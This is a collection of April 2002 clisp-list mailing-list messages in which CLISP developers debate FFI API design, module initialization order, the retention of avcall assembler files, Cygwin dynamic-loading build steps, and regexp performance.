if the calling convention (default-foreign-language) is so crucial,
let's make the :language argument required, even when
default-foreign-language is there.

having separate def-c-call-out, def-win32-call-out &c is "the scheme
way" (TM)  :-)

in your example, the problem could have been resolved by issuing a
default-foreign-language form in top-level


> Yet I still like the idea of file-wide defaults.

here you go! :-)

> o Don't make your program correct behaviour depend on some external
>   and user configurable switch. (Some day, I may write an article
>   about how broken all the *print- are). You'll shoot yourself in the
>   foot in a couple of month or years.

*print- is a nice gun.
yes, if you are not careful, you will hurt yourself.
This is a tradeoff between the US (2nd amendment) and Europe (only
police has guns.)
I am for the US approach -  freedom above all.

> Sorry for my reaction more than one month after the proposed patch.

we all suffer from slow responses.
why are you holding my patch in
<http://sourceforge.net/tracker/index.php?func=detail&aid=539701&group_id=1355&atid=101355>?

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> * In message <DFD875E85664D3118FA6080006277DE7055A053F@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] regexp-exec filters too much"
> * Sent on Mon, 15 Apr 2002 09:57:16 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam wrote:
> > > I don't know if variable size arrays will ever be 
> > > implemented for the FFI.
> > I thought you were working on that!
> 
> I'm dreaming of
> (def-c-call-out regexec
>     (:arguments (preg (c-ptr regex_t))
>                 (string c-string)
>                 (nmatch size_t :in)
>                 (pmatch (c-ptr (c-array regmatch_t ,is_len(nmatch))) :out :alloca)
>                 (eflags int))
>   (:return-type int))
> but this is not yet within reach.
> It's also broken (cf. my FFI-limits text). My current thoughts are along:

comma outside of backquote!

> (def-c-call-out regexec
>     (:arguments (preg (c-ptr regex_t))
>                 (string c-string)
>                 (nmatch size_t :in)
>                 (pmatch (c-ptr (c-array regmatch_t ,is_len(nmatch))) :out :alloca
> 			:guard (zerop result))
>                 (eflags int))
>   (:return-type int))
> I.e. the array is only returned when the function call returns success.

just allow
 (pmatch (c-ptr-null (c-array regmatch_t is_len(nmatch))) :out :alloca)
and you don't need to guard!
(just return NIL!)

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Peter Wood wrote:

Is the general consensus that fast, faster, fastest == good, better,
best?   If that is an unconditional judgement, then move to CMUCL.
...................

So, I mean better is: when you can use a command several times and not
only once. When CPUs move over 1 GHz, what priority has
speed-optimizing?

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> * In message <DFD875E85664D3118FA6080006277DE70559FD3C@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] modules initialization, package and crashes"
> * Sent on Fri, 5 Apr 2002 13:10:58 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> CLISP's external modules are initialized very early while starting
> up. For instance,
> o init_streamvars() has not yet been called (setting *TERMINAL-IO* etc.)
> o init_packages() has not yet been called when starting without -M
> o and many others as well...
> 
> CLISP catches the attempt by modules to define Lisp functions
> (e.g. LISPFUN) in an unknown package (spvw.d:init_other_modules):
>  { var object pack = find_package(asciz_to_string(packname,O(internal_encoding)));
>    if (nullp(pack)) # Package nicht gefunden?
>    { asciz_out_ss(GETTEXTL("module `%s' requires package %s." NLstring),
>                   module->name, packname);
> -> "module `mtest' requires package TESTCI."
> 
> But it cannot do so for arbitrary objects, e.g. the symbol
> TESTCI::DECIDER that Peter Wood tries to use. It attempts to read them
> via a string-input-stream, so a package error is signaled. As
> init_streamvars() has not yet been called, a suberror follows about
> *TERMINAL-IO*. Why it crashes later on I don't know - it should not.
> 
> It's not just a package problem. Any error signaled while reading the
> object_tab to initialize an object causes CLISP to die.
> 
> I don't know why in the LISPFUN case an error is signaled instead of
> just creating a virgin package. Maybe because CLISP was not
> initialized far enough, maybe because that would have disturbed later
> FIND-PACKAGE checks in Lisp code.
> 
> I don't know why init_other_modules_2() (esp. stream_read) etc. are
> called that early in the process.
> 
> There may be excellent reasons for all these. Only Bruno Haible could tell.

The appended patch appears to fix the problem.
Bruno, Joerg, do you like it?

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Index: src/spvw.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/spvw.d,v
retrieving revision 1.181
diff -u -w -b -r1.181 spvw.d
--- src/spvw.d	24 Mar 2002 21:08:08 -0000	1.181
+++ src/spvw.d	16 Apr 2002 18:08:18 -0000
@@ -2523,7 +2523,6 @@
     loadmem(argv_memfile);
   # init O(current_language)
   O(current_language) = current_language_o(language);
-  init_other_modules_2(); # initialize modules yet uninitialized
   # set current evaluator-environments to the toplevel-value:
   aktenv.var_env   = NIL;
   aktenv.fun_env   = NIL;
@@ -2587,6 +2586,7 @@
   init_dependent_encodings();
   # initialize stream-variables:
   init_streamvars(!(argv_execute_file == NULL));
+  init_other_modules_2(); # initialize modules yet uninitialized
  #ifdef NEXTAPP
   # make nxterminal-stream functional:
   if (nxterminal_init()) { final_exitcode = 17; quit(); }



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Hi,

I can provide some insight into this, though it is from hazy memory and I
reserve the right to be slightly wrong.

Will Newton <will@misconception.org.uk> writes:

> On Tuesday 09 Apr 2002 8:28 pm, Peter Wood wrote:
> 
> > This is definitely true, but the Makefile already deals with the '30
> > architectures' and I am only (tentatively) suggesting that the rule
> > for avcall-i386.lo be changed, not the rules for sparc, mips, m68k,
> > etc:
> 
> Fair enough, if you are willing to take on the repsonsibility of working this 
> out I'm sure a patch would be accepted.

I really cannot see the advantage of this proposed change. The code works as
is and if you use the .c version, you might inadvertently break another i386
based platform.

> > #avcall-i386.s : $(srcdir)/avcall-i386-macro.S
> > #       $(CPP) $(ASPFLAGS) $(srcdir)/avcall-i386-macro.S | grep -v '^
> > *#line' | grep -v '^#ident' | grep -v '^#' | sed -e 's,% ,%,g' -e 's,%
> > ,%,g' -e 's,\. ,.,g ' > avcall-i386.s
> 
> First we have to figure out what this does. AFAIK at the moment it does very 
> little. I think it is possible to remove this without any harm. I would like 
> someone who knew a little more about the code (Bruno?) to comment on this, 
> but I would guess it was written for some older code.

It ensures that the .s file produced can be processed by the assembler. It
does this by removing lines inserted by the CPP process that would upset the
assembler. It also removes some spaces introduced by the CPP process, again
because the assembler wouldn't grok the file otherwise.

Trust me when I say Bruno would not put something horrible like that in
unless there was a very good reason. Ok, I realise that the world has moved
on since Bruno wrote Clisp and somethings may be unnecessary now, but Clisp
has a reputation for the number of platforms it runs on and runs on
correctly. It got that reputation by Bruno not trusting certain things and
being a little paranoid. Please don't go removing something you don't
understand just because it seems unnecessary on your platform.

> > So we wouldn't have to worry about the 30 architectures, 'just' the
> > few os's that run on i386, apart from linux which seems fine.
>
> > Another advantage to using the .c file is you can follow Clisp into
> > avcall on gdb - well, you can do it with the .s file too, but
> > assembler is ... assembler.
> 
> It's not really that much assembler.

I agree. If you really want to be able to follow Clisp into avcall with gdb,
then I would suggest you make a special debug version that uses the .c
version rather than risking break avcall for other people. I'm sure you will
be able to count the number of people that want to do that on one hand,
maybe even one finger.

> > I don't suppose it really matters, and there _may_ be something wrong
> > with compiling with the c file that I don't know about.

The .S are used instead of .c files because we are hacking around at a
fairly low level and there is no guarantee that the compiler will produce
the right code. Even if the compiler can do it today, there is no guarantee
it won't break in the future. Compilers tend to have far more bugs than
assemblers.

Also, avcall-i386.c even has in its comments
   "For other compilers [non gcc] use the pre-compiled assembler version."

This is quite important, e.g., for Solaris CC on i386 or lcc on Windows
i386, etc, the .c file will probably not produce assembly code that will do
the right thing.

> It is necessary to get the CFLAGS correct - the hppa code I have just written 
> requires no optimization be applied to it.

Are you saying that using optimization on HPPA makes avcall not work?

It is certainly true that the optimizer could remove or reorder some code,
which would be a bit of a show stopper.

> I imagine one of the reasons the assembler files are shipped with avcall
> is that the things that are being done tend to test the optimizer of the
> compiler to the limit.

I would say thay 'optimization' of the code for performance is secondary.
Getting the code to do the right thing in this hairy area is primary.

regards,
Peter




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Peter Wood <peter.wood@worldonline.dk> writes:

> I also have a rule for dynload.s, but that is only because the other
> ..d files have such a rule, and it does not appear to be used!!??!!
> More cruft from the assembler hack days?

No, just more usefulness to help debug things when the compiler generates
bad code.

It is a makefile rule for developers. It does no harm if you don't need it.

> [snip dynload.d problem and patch]
>
> Now I solved these problems by cruelly excising nearly all Joerg's
> #ifdefs and #errors, and the changed dynload.d builds and works
> without problems.  This is obviously not portable, however.  On the
> other hand, the original dynload.d is not portable anyway.  It uses
> preprocessor directives inside macros, which is not part of the C
> standard:
> 
> http://gcc.gnu.org/fom_serv/cache/29.html
> 
> If anyone wants to try it with the my hacked version, its appended.

Thanks.

On Cygwin there is a problem with CONST, so I added -DCONST=const to the
compile command as a hack. Did you not have a similar problem, 'cos I didn't
see it in your makefile rules. I see that Joerg had it in his compile
commands too.

Ok, a bit later and it all works.

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -c dynload.c -DCONST=const

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -DCONST=const -DHAVE_SHLIB -DHAVE_DLOPEN sysdll.c -c

cd full

# add MODULE(dynload) to modules.h

ln -s ../modules.c modules.c

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -I/cygdrive/d/home/pjb/clisp/bld -c modules.c

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -x none ../dynload.o ../sysdll.o modules.o wildcard.o fnmatch.o regexp.o regexi.o regex.o lisp.a libsigsegv.a libintl.a libiconv.a libreadline.a libavcall.a libcallback.a -lncurses -lm -o lisp.run

cd ../

full/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/regexp wildcard/wildcard -x "(saveinitmem \"full/lispinit.mem\")"


I have to use a different name for the zlib dll for Cygwin.

Maybe Clisp needs :cygwin added to *features* because it isn't quite unix?
Mind you, perhaps cygwin should have libz.so as part of its unix emulation.

bash-2.05a$ ./.clisp-full -q

[1]> (defvar *zlib-location* "cygz.dll")    ; Cygwin name for zlib dll

*ZLIB-LOCATION*
[2]> (load "dynex.lisp")

;; Loading file dynex.lisp ...

#<FOREIGN-POINTER #x01310000> is a foreign pointer

#<FOREIGN-ADDRESS #x01311144> is a foreign address

#<FOREIGN-FUNCTION "compress" #x01311144> is a foreign function of foreign 
type 
(FFI:C-FUNCTION
 (:ARGUMENTS
  ((:|arg1| (FFI:C-PTR (FFI:C-ARRAY FFI:UINT8 23)) :OUT :ALLOCA)
   (:|arg2| (FFI:C-PTR FFI:ULONG) :IN-OUT :ALLOCA)
   (:|arg3| (FFI:C-PTR (FFI:C-ARRAY FFI:UINT8 9)) :IN :ALLOCA)
   (:|arg4| FFI:ULONG :IN :NONE)))
 (:RETURN-TYPE FFI:INT :NONE) (:LANGUAGE :STDC)).
;; Loading of file dynex.lisp is finished.
T
[3]> (compress #(1 2 3 4 5 6 7 8 9))

#(120 156 99 100 98 102 97 101 99 231 0 0 0 128 0 37 0 0 0 0 0 0 0) ;
16 ;
FFI:UINT8
[4]> 

Well done Joerg, looks like dynamic loading works on Cygwin too.

> Regards,
> Peter

Snap





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>>>>> "lin8080" == lin8080  <lin8080@freenet.de> writes:

    lin8080> Peter Wood wrote:
    lin8080> Is the general consensus that fast, faster, fastest == good, better,
    lin8080> best?   If that is an unconditional judgement, then move to CMUCL.
    lin8080> ...................

    lin8080> So, I mean better is: when you can use a command several times and not
    lin8080> only once. When CPUs move over 1 GHz, what priority has
    lin8080> speed-optimizing?

If there were no reason to go faster, there wouldn't be 2+ GHz
processors.

There will always be something that needs the speed.

Ray


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I wanted to use CLisp for some simple scripting and I need to
grab the command line args when starting CLisp.
I didn't see anything in the docs on how to do this.

Any ideas?

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Mark Watson writes:
 > I wanted to use CLisp for some simple scripting and I need to
 > grab the command line args when starting CLisp.
 > I didn't see anything in the docs on how to do this.
 > 
 > Any ideas?

Try this script:

#!/usr/local/bin/clisp
(print ext:*args*)


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>>>>> "Mark" == Mark Watson <markw@markwatson.com> writes:

    Mark> I wanted to use CLisp for some simple scripting and I need
    Mark> to grab the command line args when starting CLisp.  I didn't
    Mark> see anything in the docs on how to do this.

    Mark> Any ideas?

I don't know which version you're using, but when I run 'clisp --help'
(with CLISP 2.28) I get this:

GNU CLISP (http://clisp.cons.org/) is an ANSI Common Lisp.
Usage:  /usr/local/lib/clisp/base/lisp.run [options] [lispfile [argument ...]]
 When `lispfile' is given, it is loaded and `*ARGS*' is set
 to the list of argument strings. Otherwise, an interactive
 read-eval-print loop is entered.
[...]

HTH
Claudio


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In light of the new dynamically loadable foreign function interface, is it
still best to make an interface to ImageMagick a standard module (like regexp)
that is part of a memory image?

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Hi,

Raymond Toy writes:
> There will always be something that needs the speed.

Except for strict number crunching (wheather forecasts etc.) I see
the need mostly induced by broken software design. This consumes
tons and tons of cycles, making even today's machines look slow.

E.g. GUI: on slow machines, you can see how many applications refresh
their windows 2 to 3 times. Do you think the designers and programmers
solved the problems? No, they (and the users) moved to faster machines
where multiple refresh doesn't blink on the eye anymore.

E.g. CLISP regexp: I've yet to post the figures (at home). But in short:
CLISP modules/regexp performance is abysmal in certain situations.
This is not due to regex.c, somewhat due to the FFI, not due to CLISP
strictly speaking (as opposed to native code compilers like CMUCL).

It's due to the API that the regexp module and FFI provide and makes
things impossible or dreadfully slow.

Yet, nobody ever complained here that CLISP's regexp may become slow beyond any belief! (Who uses it? please raise hands :)

 + On my machine, it takes 0.203 seconds to find the 3 occurrences
   of "Extracts" in the 1MB large file impnotes.html
 - It takes 50 seconds(!!) to find the 2839 occurrences of "lisp"
   using the following code.

The reason is IMHO due to regexp' use of the CLISP FFI and its
property to copy everything on the stack. As a result, subparts
of the 1MB impnotes text are repeatedly copied on the stack.
An O(n) algorithm (n length of text) becomes O(n*m) (m number
of matches), and it shows :-(

The search "speed" is brought down to reasonable values (< 1 second
IIRC, figure at home), when, using my work-in-progress FFI, I allocate
the impnotes buffer *once* and pass a reference to it (using the
:start keyword), like anybody would do in C, instead of copying the
huge FFI:C-STRING type argument on every match. The current CLISP
FFI doesn't provide an interface for doing this.

Of course, there's some tradition in the last decade to buy
machines 50 times faster instead of working on software design,
so search time also stays within one second for up-to-date users (buyers).

Regards,
	Jorg Hohle.
Why buy faster machines instead of doing homework?
Maybe my fault is that I grew up in times when people still counted
machine cycles and knew the number of cycles most processor
instructions required?

(defun test1 (&optional (text *huge-buffer*))
  (ext:space
   (loop for pos = 0 then (regexp:match-end m)
	 for m = (regexp:match "lisp" text :start pos
			       :case-sensitive t)
	 while m
	 collect (regexp:match-start m))))

;(defvar *regexp-testfile* ".../src/clisp-2.28/src/impnotes.html")

(defun read-file (&optional (name *regexp-testfile*))
  (with-open-file (f name :direction :input
		     :external-format
		     (ext:make-encoding :charset 'charset:iso-8859-1
					:line-terminator :unix))
    (let ((buffer (make-string (file-length f))))
      ;;TODO test length = read
      (values
       buffer
       (read-char-sequence buffer f)))))

;(multiple-value-bind (buf l) (read-file) (list (length buf) l))
;(defvar *huge-buffer* (read-file))


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Hi,

Sam Steingold wrote:
> having separate def-c-call-out, def-win32-call-out &c is "the scheme
> way" (TM)  :-)

It's not. It supports people's (including programmers)
natural lazyness and concisely expresses exactly what's needed,
which is valuable.
Remember when I said "attempt to make programmer state the obvious".

I'll expand on what I consider a design question:

I'm considering changing dynload.d's
# (FFI:RESOLVE-FOREIGN-NAME name lib &optional os-option)
into
(LOCATE-FOREIGN-VARIABLE name lib) and
(LOCATE-FOREIGN-FUNCTION name lib)

One might consider this to be superfluous. OS-option (currently
unused on UNIX and MS-Windows) would be used to mean "as a variable", so
(LOCATE-FOREIGN-FUNCTION name lib) = (resolve-foreign-name name lib NIL)
(LOCATE-FOREIGN-VARIABLE name lib) = (resolve-foreign-name name lib T)

What's the rationale behind such a change?

FUNCTION vs. VARIABLE only makes a difference on platforms
with HAVE_SHL_LOAD (HP/UX). It doesn't make a difference on
other platforms (dlopen(), MS-Windows etc.). There sysdll's
dll_function() and dll_variable() map to the same call.

My goal is to have programmers on the other platforms easily
(and reliably) write code that will work there too
-- without crashes or changes.

Programmers on the other platforms will tend to forget about
the extra parameter to RESOLVE-FOREIGN-NAME, partly because they
may not recognize the importance of a difference not visible to them,
partly because their code will work in any case.
So their testing doesn't show bugs.

With LOCATE-FOREIGN-FUNCTION/VARIABLE however, the situation is
completely different.
By sole virtue of the name, programmers on any platform will notice
that there's something wrong should they happen to write (or read):

(ensure-foreign-FUNCTION
  (or (locate-foreign-VARIABLE "compress" "zlib")
      (error "not found"))
  '(c-function (:arguments #) #))

That's how I could "show by example" that API design *has* an
influence on the robustness and liability of software to crash
after the next patch or next port.

BTW, I plan to give a course sometime this year, somewhere in
Germany, on API design. This could be one of the topics covered.

Regards,
	Jorg Hohle.
Working in IT-Security, Software reliability and dependability
area inside the German Telekom group.
There's a lot of power to names (find appropriate quote :).


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>>>>> "Joerg" == Hoehle, Joerg-Cyril <Joerg-Cyril.Hoehle@t-systems.com> writes:

    Joerg> Hi,
    Joerg> Raymond Toy writes:
    >> There will always be something that needs the speed.

    Joerg> Except for strict number crunching (wheather forecasts etc.) I see
    Joerg> the need mostly induced by broken software design. This consumes
    Joerg> tons and tons of cycles, making even today's machines look slow.

I'm biased.  I do number crunching with Lisp (mostly CMUCL).

    Joerg> E.g. GUI: on slow machines, you can see how many applications refresh
    Joerg> their windows 2 to 3 times. Do you think the designers and programmers
    Joerg> solved the problems? No, they (and the users) moved to faster machines
    Joerg> where multiple refresh doesn't blink on the eye anymore.

This is also one of my pet peeves.  I think developers should develop
on the fastest machine they can find, but run the GUI on the slowest
machine they can find.  While I run Mozilla everywhere and all the
time, I think it's one of the worst offenders.  A simple dialog box
takes forever to come up.  It's almost to slow to use on a 300 MHz
Ultra 30.

    Joerg> E.g. CLISP regexp: I've yet to post the figures (at home). But in short:
    Joerg> CLISP modules/regexp performance is abysmal in certain situations.
    Joerg> This is not due to regex.c, somewhat due to the FFI, not due to CLISP
    Joerg> strictly speaking (as opposed to native code compilers like CMUCL).

Have you tried one of the pure Lisp implementations of regex routines?
I tried 2 different ones for Maxima: nregex from the CMU AI archives,
and regex by Shenoy.  regex was abysmally slow with Clisp, but very
fast with CMUCL.  nregex was very fast on Clisp and just fast enough
with CMUCL.  I think nregex was only slightly slower then Clisp's
regexp module for looking up info documention for maxima.

But this no longer really has anything to do with clisp....

Ray



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Hi,

On Tue, Apr 16, 2002 at 06:47:23PM +0100, Peter Burwood wrote:
 
> Trust me when I say Bruno would not put something horrible like that in
> unless there was a very good reason. Ok, I realise that the world has moved
> on since Bruno wrote Clisp and somethings may be unnecessary now, but Clisp
> has a reputation for the number of platforms it runs on and runs on
> correctly. It got that reputation by Bruno not trusting certain things and
> being a little paranoid.

First of all, let me say that I don't particularly care one way or the
other.  If something got my goat enough, I could just go my own way.

Having said that, I have the following remarks:

1) In principle, I dislike appeals to authority.  Noone is
infallible.  Certainly, noone is infallible _forever_.

2) Your approach is overly cautious.  In 20 years, if we never remove
unnecessary code, never consolidate, never rationalise, or clean-up
generally, we are going to have one crufty, hairy ball of cr*p.  In
fact, we might even have CMUCL.

> Please don't go removing something you don't
> understand just because it seems unnecessary on your platform.
> 

3) I could as easily say "please don't retain something you don't
understand just because you fear it may be necessary on your platform."

I am not suggesting that we obliterate and remove from history the
assembler files; if we tried it with the c files, and gcc couldn't
handle it on platform xyz, then we could just put the necessary file
back.  Clisp's reputation is strong enough to weather a little thing
like that.  Most users wouldn't even know.

4) According to sourceforge cvs, a lot of the .s files are simply
generated by gcc.

Your way, ... we'll never know.

Regards,
Peter


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Hi,

> The appended patch appears to fix the problem.
> Bruno, Joerg, do you like it?
In short, no.

I believe initialization must be split in 2: first make everything GC ready (very early). Then (in future very late) make real subrs etc. and call module init functions.

I believe your straightforward patch misses the first half by calling init_x() late. Thus, it should be possible to produce a configuration where the system is not completely initialized properly. GC crashes will follow. That's why I asked you to delay inclusion in CVS -- I just had feelings about it that it cannot possibly be correct.

I'll delay my FFI-stack allocator and other FFI stuff and concentrate on this instead. Expect something soon.

Regards,
	Jorg Hohle.


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I have put a new tgz of my gdi module on my web site
www.diac.com/~dxs/gdi.tar.gz
It contains a working hello world program.  I would appreciate any
comments on it.
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Hi,
On Tue, Apr 16, 2002 at 09:02:18PM +0100, Peter Burwood wrote:
> Peter Wood <peter.wood@worldonline.dk> writes:
> 
> > I also have a rule for dynload.s, but that is only because the other
> > ..d files have such a rule, and it does not appear to be used!!??!!
> > More cruft from the assembler hack days?
> 
> No, just more usefulness to help debug things when the compiler generates
> bad code.
> 
> It is a makefile rule for developers. It does no harm if you don't need it.

Perhaps it should go in Makefile.devel, then?  When is the last time
anyone went through the assembler code for stream.d, or pathname.d?
:-) And if anyone ever did, is he out of hospital yet? poor guy :-)

> On Cygwin there is a problem with CONST, so I added -DCONST=const to the
> compile command as a hack. Did you not have a similar problem, 'cos I didn't
> see it in your makefile rules. I see that Joerg had it in his compile
> commands too.

CONST isn't used in dynload.  It's used in sysdll, and I didn't
include my rules for sysdll.{c,h,o} since it compiled without problems
- but yes, CONST must be defined.

Regards,
Peter



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With clisp-2.26,

$ clisp -x '(assert (>= -1 0))'

goes into an endless loop. This makes it very risky to use ASSERT in batch
mode scripts. It'd better for the script to abort in such a case, instead of
going into an endless loop.

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Hi,

Peter Wood wrote:
> CONST isn't used in dynload.  It's used in sysdll, and I didn't
> - but yes, CONST must be defined.

Please get a newer sysdll.c from XEmacs CVS, as I mentioned in my mail from 10.4.
CONST is not used anymore in it.

I then wrote:
JCH>I now use sysdll-1.7.c and sysdll-1.3.h from XEmacs CVS
This (or a newer if exists) is what should be integrated into
CLISP, not the older version that I got from Reini. Please test this one -- because:
JCH> I then need fewer -Dxyz (but others) [...]

> anyone went through the assembler code for stream.d, or pathname.d?
> :-) And if anyone ever did, is he out of hospital yet? poor guy :-)
Do you have reasons to believe I'm in hospital? :-)

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On Wednesday 17 Apr 2002 3:35 pm, Bruno Haible wrote:

> With clisp-2.26,

Is this fixed in the latest versions?


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Hi,

Sam Steingold wrote:
> missed this.  please try the patch:
>  local void low_close_socket (object stream, object handle) {
>    begin_system_call();
> + #ifdef WIN32_NATIVE
> +  if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); }
> + #endif
>    if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); }
>    end_system_call();
>  }

The define is SD_BOTH (cf Arseny's e-mail), not SHUT_*.

It doesn't change observed behaviour. Still lots of connection reset by peer in Netscape.

Oddly enough, when I set (setq sys::*inspect-debug* 5), the inspector seems to (mostly) work. But when I don't (set to 0), I get (more often?) errors!?!
More precisely, I get an error from Netscape only at the end (quit link), while CLISP terminates the inspector server. Without debug at 5, I sometimes saw in Netscape the "you may now close this window" message that CLISP sends.

IE doesn't display anything...
CLISP debug output says
SYSTEM::HTTP-COMMAND: new socket: #<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:4448>
SYSTEM::HTTP-COMMAND: new socket: #<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:4448>
SYSTEM::HTTP-COMMAND: new socket: #<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:4448>
SYSTEM::HTTP-COMMAND: new socket: #<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:4448>
but nothing else.

BTW, years ago, there was a HTTP-based inspector which would allow to see many more of the CLISP internals. What happened?

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	Jorg Hohle.


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> * In message <15881.1019006997@www49.gmx.net>
> * On the subject of "[clisp-list] Image libraries and dynamic foriegn functions"
> * Sent on Wed, 17 Apr 2002 03:29:57 +0200 (MEST)
> * Honorable Scott Williams <ortmage@gmx.net> writes:
>
> In light of the new dynamically loadable foreign function interface,
> is it still best to make an interface to ImageMagick a standard module
> (like regexp) that is part of a memory image?

don't wait for the new code to be put in.
just go the standard module way.
it will be very easy to convert to the DLL FFI (when/if it arrives)

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> * In message <DFD875E85664D3118FA6080006277DE7055A0784@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] critique of default-foreign-language & API design questions"
> * Sent on Wed, 17 Apr 2002 11:30:59 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> I'm considering changing dynload.d's
> # (FFI:RESOLVE-FOREIGN-NAME name lib &optional os-option)
> into
> (LOCATE-FOREIGN-VARIABLE name lib) and
> (LOCATE-FOREIGN-FUNCTION name lib)

Or no!! Please don't!!
there will be a lot of code duplication between your
LOCATE-FOREIGN-FUNCTION and LOCATE-FOREIGN-VARIABLE.

Please make the optional os-option a _required_ argument instead:
        (FFI:RESOLVE-FOREIGN-NAME name lib type)
where type is is either :FUNCTION or :VARIABLE

> FUNCTION vs. VARIABLE only makes a difference on platforms
> with HAVE_SHL_LOAD (HP/UX). It doesn't make a difference on
> other platforms (dlopen(), MS-Windows etc.). There sysdll's
> dll_function() and dll_variable() map to the same call.
> 
> My goal is to have programmers on the other platforms easily
> (and reliably) write code that will work there too
> -- without crashes or changes.
> 
> Programmers on the other platforms will tend to forget about
> the extra parameter to RESOLVE-FOREIGN-NAME, partly because they
> may not recognize the importance of a difference not visible to them,
> partly because their code will work in any case.
> So their testing doesn't show bugs.
> 
> With LOCATE-FOREIGN-FUNCTION/VARIABLE however, the situation is
> completely different.
> By sole virtue of the name, programmers on any platform will notice
> that there's something wrong should they happen to write (or read):
> 
> (ensure-foreign-FUNCTION
>   (or (locate-foreign-VARIABLE "compress" "zlib")
>       (error "not found"))
>   '(c-function (:arguments #) #))
> 
> That's how I could "show by example" that API design *has* an
> influence on the robustness and liability of software to crash
> after the next patch or next port.

this is handled by making the last arg required too.

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> * In message <3CBD7D01.1CA66CD1@ieee.org>
> * On the subject of "[clisp-list] win32 gdi"
> * Sent on Wed, 17 Apr 2002 07:47:45 -0600
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>
> I have put a new tgz of my gdi module on my web site
> www.diac.com/~dxs/gdi.tar.gz
> It contains a working hello world program.  I would appreciate any
> comments on it.

I do not have a w32 box, so I cannot try it.
I hope that Arseny and Joerg will comment on it.

Could you please include a README file with the module?


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> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> 1) In principle, I dislike appeals to authority.  Noone is
> infallible.  Certainly, noone is infallible _forever_.

sure.

> 2) Your approach is overly cautious.  In 20 years, if we never remove
> unnecessary code, never consolidate, never rationalise, or clean-up
> generally, we are going to have one crufty, hairy ball of cr*p.  

absolutely 

> In fact, we might even have CMUCL.
what is wrong with CMUCL?
I thought it was great!

> > Please don't go removing something you don't
> > understand just because it seems unnecessary on your platform.
> 
> 3) I could as easily say "please don't retain something you don't
> understand just because you fear it may be necessary on your platform."

like RMS did with VAX support in ange-ftp?


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On Wed, Apr 17, 2002 at 01:02:04PM -0400, Sam Steingold wrote:
> > * In message <DFD875E85664D3118FA6080006277DE7055A0784@U8PN2.blf01.telekom.de>
> > * On the subject of "[clisp-list] critique of default-foreign-language & API design questions"
> > * Sent on Wed, 17 Apr 2002 11:30:59 +0200
> > * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
> >
> > I'm considering changing dynload.d's
> > # (FFI:RESOLVE-FOREIGN-NAME name lib &optional os-option)
> > into
> > (LOCATE-FOREIGN-VARIABLE name lib) and
> > (LOCATE-FOREIGN-FUNCTION name lib)
> 
> Or no!! Please don't!!
> there will be a lot of code duplication between your
> LOCATE-FOREIGN-FUNCTION and LOCATE-FOREIGN-VARIABLE.

So why not

(defun shared-logic-for-foreign-names (name lib &rest otherargs)
  ...)

(defun locate-foreign-function (...)
  (do-function-specific-stuff (shared-logic-for-foreign-names ...)))

(defun locate-foreign-variable (...)
  (do-variable-specific-stuff (shared-logic-for-foreign-names ...)))

?

Logic duplication doesn't need to imply code-duplication.

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>>>>> "Peter" == Peter Wood <peter.wood@worldonline.dk> writes:

    Peter> 2) Your approach is overly cautious.  In 20 years, if we never remove
    Peter> unnecessary code, never consolidate, never rationalise, or clean-up
    Peter> generally, we are going to have one crufty, hairy ball of cr*p.  In
    Peter> fact, we might even have CMUCL.

Are you saying CMUCL is cr*p?  If so, why?

Ray


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Hi,
On Wed, Apr 17, 2002 at 02:55:18PM -0400, Raymond Toy wrote:
> >>>>> "Peter" == Peter Wood <peter.wood@worldonline.dk> writes:
> 
>     Peter> 2) Your approach is overly cautious.  In 20 years, if we never remove
>     Peter> unnecessary code, never consolidate, never rationalise, or clean-up
>     Peter> generally, we are going to have one crufty, hairy ball of cr*p.  In
>     Peter> fact, we might even have CMUCL.
> 
> Are you saying CMUCL is cr*p?  If so, why?
> 
> Ray

No.  CMUCL is great in many ways.  However I think the CMUCL build
process _is_ crap.  This discussion is about retaining/discarding
(possibly) unneeded files from Clisp.  I tried to generalise about the
need to rationalise and consolidate.  

The point I was making with the comparison was that IMO, that need
went unfulfilled for many years (_specifically_ regarding the build
process) in CMUCL development, and it 'ended' with a fork.

I don't like the approach that "if it isn't actually breaking
something NOW, then leave it alone".  Over time it results in a mess.
People forget what things are for, or move on.  New people come along
and regard the stuff they inherit with superstitious awe.  Its not
healthy.

I did not intend to offend you, or other CMUCL users, nor am I
suggesting that there are unnecessary files in CMUCL's build, but that
CMUCL's build process is/has become absurdly complex and
convoluted. (ie, hairy, crufty, crappy)

Regards,
Peter


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Hi,

Peter Wood <peter.wood@worldonline.dk> writes:

> Hi,
> 
> On Tue, Apr 16, 2002 at 06:47:23PM +0100, Peter Burwood wrote:
